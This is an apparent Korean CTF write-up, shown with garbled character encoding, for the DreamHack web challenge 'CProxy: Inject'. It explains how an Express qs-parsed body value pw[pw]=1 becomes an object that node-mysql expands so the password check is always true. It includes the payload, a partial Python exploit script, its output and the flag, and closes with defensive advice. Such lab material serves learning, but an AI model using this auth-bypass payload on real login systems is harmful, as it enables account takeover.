2026-06-06ยท1๋ถ ์ฝ๊ธฐยท
์ฟผ๋ฆฌ๋ ? ํ๋ ์ด์คํ๋๋ก ์์ ํ๊ฒ ์งฐ๋๋ฐ๋ ๋ก๊ทธ์ธ์ด ๋ซ๋ฆฐ๋ค. express์ qs ๋ฐ๋ ํ์๊ฐ pw๋ฅผ ๊ฐ์ฒด๋ก ๋ง๋ค๊ณ , node-mysql์ด ๊ทธ ๊ฐ์ฒด๋ฅผ `pw` = '1' ๋ก ํ์ด์ฐ๋ฉด์ ๋น๋ฐ๋ฒํธ ๊ฒ์ฌ๊ฐ ํญ์ ์ฐธ์ด ๋๋ค. admin_inject ๊ณ์ ์ ํ์ทจํด ์ ์ฅ๋ ํ๋ก์ ์๋ต์์ ํ๋๊ทธ๋ฅผ ๊บผ๋๋ค. ์ฝ์ง๊ณผ ์บก์ณ๋ฅผ ๊ณ๋ค์ธ ํ์ด ๋ ธํธ.
์ด ๊ธ์ด ๋์์ด ๋๋์?
๋ฌธ์ : DreamHack โ CProxy: Inject ๋ถ๋ฅ: Web ๋์ด๋: ๐ฅ Silver 3 FLAG:
DH{1b2447f2cabacb0fc288166c7b031d5c5572128543d531e1481e8a0155a0b335}
์์ ์ฌ์ดํธ๋ก HTTP ์์ฒญ์ ๋ณด๋ด๊ณ ์๋ต์ ๊ธฐ๋กํด ๋ณด์ฌ์ฃผ๋ ํ๋ก์ ์๋น์ค๋ค. ๋ชฉํ๋ ๋ถ๋ช
ํ๋ค โ admin_inject ๊ณ์ ์ ํ์ทจํ๊ณ , ๊ทธ ๊ณ์ ์ ํ๋ก์ ์๋ต ๊ธฐ๋ก์ ์ฝ์ด๋ผ. ํ๋๊ทธ๋ ๊ฑฐ๊ธฐ ์ ์ฅ๋ผ ์๋ค.

| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | CProxy: Inject |
| ๋์ด๋ | ๐ฅ Silver 3 |
| ๋ถ๋ฅ | Web (Node.js / SQL Injection) |
| ์คํ | Express 4 + express-session + mysql(node) + MariaDB |
| ์ ๊ณต | ์ ์ฒด ์์ค + ์๋ฒ |
| ํต์ฌ | ? ํ๋ผ๋ฏธํฐ๋ผ๋ ๊ฐ์ด ๊ฐ์ฒด๋ฉด ๋ซ๋ฆฐ๋ค โ qs ๋ฐ๋ + node-mysql ๊ฐ์ฒด ์ด์ค์ผ์ดํ |
ํ๋๊ทธ๊ฐ ์ด๋ ์๋์ง๋ถํฐ ๋ณด์. DB ์ด๊ธฐํ ์คํฌ๋ฆฝํธ์ ๋ต์ด ์๋ค.
INSERT INTO users (_id, id, pw) VALUES (1, 'admin_inject', '<์ค์ ๋น๋ฒ>');
INSERT INTO responses (_id, uid, res) VALUES (1, 1, '{"...","data":"DH{...}","url":"flag_inject"}');responses ํ
์ด๋ธ์ _id=1 ํ(์์ ์ uid=1 = admin_inject)์ data๊ฐ ํ๋๊ทธ๋ค. ์ด๊ฑธ ์ฝ๋ API๋ ์ด๋ ๊ฒ ์๊ฒผ๋ค.
app.get('/api/history/:rid(\\d+)', requireAuth, async (req, res) => {
const rid = parseInt(req.params.rid, 10);
const result = await db.getResponse(req.session.uid, rid); // uid ๋ ์ธ์
์์
...
});
// db.getResponse: SELECT res FROM responses WHERE _id = ? and uid = ? [rid, uid]uid๋ ์ธ์
์์ ์จ๋ค. ์ฆ req.session.uid === 1 ์ธ ์ธ์
, ๋ค์ ๋งํด admin_inject๋ก ๋ก๊ทธ์ธํ ์ํ์ฌ์ผ rid=1์ ์ฝ์ ์ ์๋ค. ๊ฒฐ๊ตญ ๋ฌธ์ ๋ "์ด๋ป๊ฒ admin_inject๋ก ๋ก๊ทธ์ธํ๋๋"๋ก ์ขํ์ง๋ค.
์น ๋ก๊ทธ์ธ์์ ๊ฐ์ฅ ํํ ์ทจ์ฝ์ ์ด SQL ์ธ์ ์
์ด๋ค. ์
๋ ฅ์ ์ฟผ๋ฆฌ ๋ฌธ์์ด์ ๊ทธ๋๋ก ์ด์ด ๋ถ์ด๋ฉด, ๊ณต๊ฒฉ์๊ฐ ๋ฐ์ดํ๋ก ๋ฌธ์์ด์ ํ์ถํด OR 1=1 ๊ฐ์ ์กฐ๊ฑด์ ๋ผ์ ๋ฃ๊ณ ์ธ์ฆ์ ํต์งธ๋ก ์ฐํํ๋ค.

์ถ์ฒ: Wikimedia Commons, Batka savemazaalai, CC BY-SA 4.0
์ด๊ฑธ ๋ง๋ ํ์ค ๋ฐฉ๋ฒ์ด prepared statement(ํ๋ผ๋ฏธํฐ๋ผ์ด์ฆ๋ ์ฟผ๋ฆฌ)๋ค. ์ฟผ๋ฆฌ์ ๋ผ๋(... WHERE id = ? AND pw = ?)๋ฅผ ๋จผ์ DB์ ๋ณด๋ด๊ณ ๊ฐ์ ๋ฐ๋ก ๋ฐ์ธ๋ฉํ๋ค. ๊ฐ์ ๋ฐ์ดํฐ๋ก๋ง ์ทจ๊ธ๋ผ SQL ๊ตฌ๋ฌธ์ด ๋์ง ๋ชปํ๋ฏ๋ก, ์ ๊ทธ๋ฆผ์ ' OR 1=1 -- ๋ฅ๋ ๋ฌด๋ ฅํ๋๋ค.
CProxy๋ ?๋ก ๋ฐ์ธ๋ฉํ๋ค. ๊ทธ๋์ ๋ฌธ์์ด ๊ธฐ๋ฐ ์ธ์ ์
์ ๋งํ ์๋ค. ํ์ง๋ง ๋ฐ์ธ๋ฉ์ด ์ง์ผ์ฃผ๋ ๊ฑด ๊ฐ์ด "๋ฌธ์์ด"์ผ ๋๊น์ง๋ค. ์ด๋ฒ ๋ฌธ์ ์ ๋นํ์ ๊ฑฐ๊ธฐ ์์๋ค.
๋ก๊ทธ์ธยทํ์๊ฐ์ ์ ์ด๋ ๊ฒ ์๊ฒผ๋ค.
async function doRegister(id, pw) {
await query("INSERT INTO users (id, pw) VALUES (?, ?)", [id, pw]); // UNIQUE(id)
}
async function doLogin(id, pw) {
const result = await query("SELECT * FROM users WHERE id = ? AND pw = ?", [id, pw]);
if (result.length === 1) {
return result[0]._id; // ์ด ๊ฐ์ด session.uid ๊ฐ ๋๋ค
}
}? ํ๋ ์ด์คํ๋(prepared statement)๋ฅผ ์ด๋ค. ๋ฌธ์์ด์ ์๋ฌด๋ฆฌ ์ ๊ตํ๊ฒ ๋ฃ์ด๋ SQL ๊ตฌ๋ฌธ์ผ๋ก ํด์๋์ง ์์ผ๋, ๊ต๊ณผ์์ ์ธ ' OR 1=1 -- ๋ฅ๋ ํตํ์ง ์๋๋ค. ์ค์ ๋ก ํ๋ฆฐ ๋น๋ฒ์ผ๋ก ๋ก๊ทธ์ธํ๋ฉด 401์ด๋ค.

์ฌ๊ธฐ์ ๋งํ์ ์ ๊ณต๋ฒ์ ํ์ฐธ ๋๋๋ ธ๋ค.
users.id์ UNIQUE ์ ์ฝ์ด ์์ด admin_inject๋ก ๋ค์ ๊ฐ์
ํ๋ฉด 409. ๋์๋ฌธ์๋ง ๋ฐ๊ฟ๋(utf8mb4_general_ci๋ ๋์๋ฌธ์ ๊ตฌ๋ถ ์ ํจ) ๊ฐ์ ๊ฐ์ผ๋ก ์ทจ๊ธ๋ผ ์ถฉ๋.id/pw ๋ ๋ค ?๋ก ๋ฐ์ธ๋ฉ โ ๋ฐ์ดํยท์ฃผ์ ๋ค ๋ฌด๋ ฅํ.varchar(64) ์ด๊ณผ๋ก ์๋ฅด๋ ํธ๋ฆญ์ ๋ ์ฌ๋ ธ์ง๋ง, MariaDB 10.9๋ ๊ธฐ๋ณธ STRICT ๋ชจ๋๋ผ ๊ธธ์ด ์ด๊ณผ ์ ์๋ฆฌ๋ ๋์ ์๋ฌ๊ฐ ๋๋ค.์ฟผ๋ฆฌ ๋ฌธ์์ด์ ๊ฑด๋๋ฆฌ๋ ๊ธธ์ ๋ค ๋งํ ์์๋ค. ๊ทธ๋์ "๊ฐ์ผ๋ก ๋ค์ด๊ฐ๋ ๋ฐ์ดํฐ์ ํ์ "์ ์์ฌํ๊ธฐ ์์ํ๋ค.
๋ ๊ฐ์ง๊ฐ ๋ง๋ฌผ๋ฆฐ๋ค.
(1) express์ ๋ฐ๋ ํ์๋ ๊ฐ์ฒด๋ฅผ ๋ง๋ ๋ค. app.use(express.urlencoded())๋ ๋ด๋ถ์ ์ผ๋ก qs๋ก ํผ ๋ฐ๋๋ฅผ ํ์ฑํ๋ค. qs๋ ๋๊ดํธ ํ๊ธฐ๋ฅผ ์ค์ฒฉ ๊ตฌ์กฐ๋ก ํผ๋ค. ๊ทธ๋์ pw=1์ ๋ฌธ์์ด์ด์ง๋ง, pw[pw]=1์ ๊ฐ์ฒด { pw: "1" }๊ฐ ๋๋ค.
POST /auth body: id=admin_inject&pw[pw]=1
โ req.body = { id: "admin_inject", pw: { pw: "1" } }(2) node mysql์ ๊ฐ์ฒด๋ฅผ `key` = value๋ก ํผ๋ค. query(sql, [id, pw])์์ ?๋ ๊ฐ ํ์
์ ๋ฐ๋ผ ๋ค๋ฅด๊ฒ ์ด์ค์ผ์ดํ๋๋ค. ๋ฌธ์์ด์ ๋ฐ์ดํ๋ก ๊ฐ์ธ์ง๋ง, ๊ฐ์ฒด๋ SET ์ ๋ฌธ๋ฒ์ธ `key` = value๋ก ํผ์น๋ค. ์ปจํ
์ด๋์์ ์ค์ ๋ก ์ฐ์ด๋ณด๋ฉด ๋ถ๋ช
ํ๋ค.
์ ์ : SELECT * FROM users WHERE id = 'admin_inject' AND pw = 'wrongpw'
์ธ์ ์
: SELECT * FROM users WHERE id = 'admin_inject' AND pw = `pw` = '1'
๋ฐฐ์ดpw: SELECT * FROM users WHERE id = 'admin_inject' AND pw = 'a', 'b'pw = ?์ ๊ฐ์ฒด {pw:"1"}์ด ๋ค์ด๊ฐ๋ pw = `pw` = '1'์ด ๋๋ค. ์ด๊ฒ ์ด๋ป๊ฒ ์ฐธ์ด ๋๋์ง ๋ณด์.

MySQL์์ =๋ ์ข๊ฒฐํฉ์ด๋ผ pw = `pw` = '1'์ (pw = `pw`) = '1'๋ก ๋ฌถ์ธ๋ค.
pw = `pw` โ ๊ฐ์ ์ปฌ๋ผ๋ผ๋ฆฌ ๋น๊ต๋ผ ํญ์ 1(์ฐธ). (pw๋ NOT NULL)1 = '1' โ '1'์ ์ซ์ 1๋ก ์บ์คํ
โ 1 = 1 โ ์ฐธ.๊ฒฐ๊ตญ pw ์กฐ๊ฑด์ ์ค์ ๋น๋ฐ๋ฒํธ์ ๋ฌด๊ดํ๊ฒ ํญ์ ์ฐธ์ด๋ค. WHERE id = 'admin_inject' AND 1 โ admin_inject ํ ํ ๊ฑด๋ง ๋งค์นญ๋๊ณ , result.length === 1์ ๋ง์กฑํด result[0]._id = 1์ด ์ธ์
uid๋ก ๋ฐํ๋ค.
๊ฐ์ฒด์ ํค๋ escapeId๋ก ๋ฐฑํฑ ์๋ณ์๊ฐ ๋๋ค. ๊ทธ๋์ ํค๋ ์ค์ฌํ๋ ์ปฌ๋ผ(_id, id, pw)์ด์ด์ผ ํ๋ค. ์๋ ์ปฌ๋ผ์ด๋ฉด Unknown column ์๋ฌ๋ก ์ฟผ๋ฆฌ๊ฐ ์ฃฝ์ด ๋ก๊ทธ์ธ ์คํจ๋ค.
pw โ (pw = pw) = '1' โ 1 = 1 โ ์ฐธ โ
id โ (pw = id) = '1' โ admin ํ์ (๋น๋ฒ = 'admin_inject') = 0 โ 0 = '1' โ ๊ฑฐ์ง โ_id โ (pw = _id) = '1' โ (๋น๋ฒ = 1) โ ๋ณดํต ๊ฑฐ์ง โ๋ฐฐ์ด์ ๋ฃ์ผ๋ฉด(pw[]=a&pw[]=b) pw = 'a', 'b'๊ฐ ๋๋๋ฐ ์์ ์ฝค๋ง๋ ๋ฌธ๋ฒ ์ค๋ฅ๋ผ ์ฟผ๋ฆฌ๊ฐ ์ฃฝ๋๋ค. ๊ทธ๋์ ์กฐํฉ์ด ์ ๋ต์ด์๋ค.
ํ์ด๋ก๋๋ ํ ์ค์ด๋ค. ํผ ๋์ ๋ฐ๋๋ง ๊ฐ์ฒด๋ก ๋ฐ๊ฟ ๋ณด๋ธ๋ค.
POST /auth
id=admin_inject&pw[pw]=1๋ก๊ทธ์ธ๋๋ฉด /(ํ๋ก์ ํ๋ฉด)์ ๋ค์ด๊ฐ์ง๋ค โ admin_inject ์ธ์
์ ์์ ๋ฃ์ ๊ฒ์ด๋ค.

/api/history๋ก admin_inject์ ์๋ต ๊ธฐ๋ก ๋ชฉ๋ก์ ๋ณธ๋ค. rid=1, url=flag_inject๊ฐ ๋ณด์ธ๋ค.

/api/history/1๋ก ๊ทธ ๊ธฐ๋ก์ ์์ธ๋ฅผ ์ด๋ฉด data์ ํ๋๊ทธ๊ฐ ๋ค์ด ์๋ค.

requests๋ data ๋์
๋๋ฆฌ์ ํค์ ๋๊ดํธ๋ฅผ ๊ทธ๋๋ก ์จ์ pw[pw]=1์ ๋ณด๋ผ ์ ์๋ค.
#!/usr/bin/env python3
import sys, re, requests
BASE = sys.argv[1].rstrip("/")
s = requests.Session()
# 1) ๊ฐ์ฒด ์ธ์ ์
์ผ๋ก admin_inject ๋ก๊ทธ์ธ ์ฐํ (pw[pw]=1 โ {"pw":"1"})
r = s.post(f"{BASE}/auth", data={"id": "admin_inject", "pw[pw]": "1"},
allow_redirects=False, timeout=15)
print(f"[1] login(inject): HTTP {r.status_code} Location={r.headers.get('Location')}")
# 2) admin_inject(uid=1) ์ ์๋ต ๊ธฐ๋ก
[1] login(inject): HTTP 302 Location=/
[2] history: [{'rid': 1, 'res': {'status': 200, 'url': 'flag_inject'}}]
[3] rid=1 data='DH{1b2447f2cabacb0fc288166c7b031d5c5572128543d531e1481e8a0155a0b335}'
[+] FLAG: DH{1b2447f2cabacb0fc288166c7b031d5c5572128543d531e1481e8a0155a0b335}
Prepared statement๋ ํ์์กฐ๊ฑด์ด์ง ์ถฉ๋ถ์กฐ๊ฑด์ด ์๋๋ค.
?๋ก ๋ฐ์ธ๋ฉํ์ผ๋ ์์ ํ๋ค๊ณ ๋ฏฟ๊ธฐ ์ฝ์ง๋ง, ๊ทธ๊ฑด ๊ฐ์ด ๋ฌธ์์ด์ผ ๋ ์๊ธฐ๋ค. node mysql์ ๊ฐ์ ํ์
์ ๋ณด๊ณ ๊ฐ์ฒด๋ฉด `key` = value๋ก, ๋ฐฐ์ด์ด๋ฉด ๋ฆฌ์คํธ๋ก ํผ์น๋ค. ๋ฐ์ธ๋ฉ๋ง ํ์ง ๊ฐ์ ํ์
์ ๊ฐ์ ํ์ง ์์ผ๋ฉด, ๊ณต๊ฒฉ์๊ฐ ๊ฐ์ ๊ฐ์ฒด๋ก ๋ฐ๊ฟ ์ฟผ๋ฆฌ ๊ตฌ์กฐ๋ฅผ ํ๋ค ์ ์๋ค.
๋ฐ๋ ํ์๊ฐ ํ์ ์ ๋ฐ๊พผ๋ค๋ ๊ฑธ ์์ง ๋ง ๊ฒ.
express.urlencoded()(qs)๋ pw[pw]=1 ๊ฐ์ ์
๋ ฅ์ ๊ตฐ๋ง ์์ด ์ค์ฒฉ ๊ฐ์ฒด๋ก ๋ง๋ ๋ค. ํด๋ผ์ด์ธํธ๊ฐ ๋ณด๋ธ ๊ฐ์ด ๋ฌธ์์ด์ด๋ผ๋ ๋ณด์ฅ์ ์ด๋์๋ ์๋ค. req.body.id, req.body.pw๋ฅผ SQL์ ๋๊ธฐ๊ธฐ ์ ์ String(...)์ผ๋ก ์บ์คํ
ํ๊ฑฐ๋, ํ์
์ด ๋ฌธ์์ด์ธ์ง ๋ช
์์ ์ผ๋ก ๊ฒ์ฆํด์ผ ํ๋ค. (express.urlencoded({ extended: false })๋ก ์ค์ฒฉ ํ์ฑ์ ๋๋ ๊ฒ๋ ํ ๋ฐฉ๋ฒ์ด๋ค.)
์ธ์ฆ ์ฐํ์ ๋ฌด๊ฒ.
์ด๋ฒ์ ๋ฉ๋ชจ ํ ๊ฑด์ ์ฝ๋ ๋ฌธ์ ์์ง๋ง, ๊ฐ์ ๊ฒฐํจ์ด ์ผ๋ฐ ๋ก๊ทธ์ธ์ ์์๋ค๋ฉด ์์ ๊ณ์ ํ์ทจ๋ก ์ง๊ฒฐ๋๋ค. "์ฟผ๋ฆฌ๋ ํ๋ผ๋ฏธํฐ๋ผ์ด์ฆํ๋ค"๋ ์์ฌ์ด ๊ฐ์ฅ ์ํํ๋ค.
WHEREpw
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ